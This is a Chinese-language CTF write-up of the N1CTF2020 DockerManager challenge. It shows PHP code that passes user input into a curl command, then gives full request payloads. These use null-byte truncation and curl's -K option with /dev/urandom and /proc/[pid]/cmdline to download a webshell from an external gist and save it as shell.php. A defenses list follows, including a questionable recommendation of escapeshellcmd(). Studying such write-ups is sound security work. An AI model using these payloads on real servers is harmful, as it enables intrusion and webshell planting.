从一道题目学习curl命令参数写入shell
字数 1083 2025-08-13 21:33:20
从CURL命令参数写入Shell漏洞学习
漏洞背景
本漏洞来源于[N1CTF2020]DockerManager题目,涉及利用curl命令的特殊参数和Linux系统特性实现命令注入和Webshell写入。
关键知识点
1. 漏洞环境
- PHP版本:5.4.45
- Web服务器:Apache
- 关键函数:
escapeshellarg()、exec() - 系统特性:/proc文件系统、/dev特殊设备文件
2. 漏洞代码分析
核心漏洞代码:
$cmd = 'curl --connect-timeout 10 ' . $host_addr . ' -g ' . $cert . $key . $cacert;
$output = array();
$ret = 0;
exec($cmd, $output, $ret);
这段代码将用户输入的多个参数直接拼接成curl命令并执行,存在命令注入风险。
3. 关键利用技术
3.1 curl的-K参数
-K, --config <file>:从指定文件读取配置。这个参数可以读取任意文件内容作为curl的配置。
3.2 /dev特殊设备
/dev/full:写入时总是返回设备无空间错误,读取时返回无限NULL字符/dev/urandom:提供无限随机数据
3.3 /proc文件系统
/proc/[pid]/cmdline:包含启动该进程的完整命令行- 利用curl读取大文件时进程会长时间存在,便于我们找到其PID
3.4 PHP 5.4.45的特性
escapeshellarg()函数在5.4.45版本存在00截断漏洞
漏洞利用步骤
第一步:创建长时间运行的curl进程
- 准备一个包含恶意配置的请求:
host=-K/dev/urandom%00
cacert=111%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0aurl="https://gist.githubusercontent.com/.../gistfile1"%0aoutput="shell.php"%0a%0a%0a%0a%0a%0a%0a
- 这个请求会:
- 让curl读取/dev/urandom(无限数据源,进程不会结束)
- 在配置中包含下载Webshell并保存为shell.php的指令
第二步:查找curl进程PID
- 在服务器上查找长时间运行的curl进程:
ps aux | grep curl
- 假设找到PID为1736
第三步:读取cmdline文件获取Webshell
- 构造请求读取/proc/[pid]/cmdline:
host=-K/proc/1736/cmdline%00
- 这会执行curl命令读取之前保存的恶意配置,从而下载并保存Webshell
防御措施
- 升级PHP版本(修复escapeshellarg的00截断漏洞)
- 对用户输入进行严格过滤和验证
- 避免直接拼接用户输入到系统命令中
- 使用更安全的函数如
escapeshellcmd() - 限制Web服务器用户的权限
参考链接
总结
这个漏洞综合利用了:
- curl命令的-K参数文件读取功能
- /dev特殊设备的特性
- /proc文件系统的进程信息暴露
- PHP特定版本的00截断漏洞
通过精心构造的请求,攻击者可以实现从命令注入到Webshell写入的完整攻击链。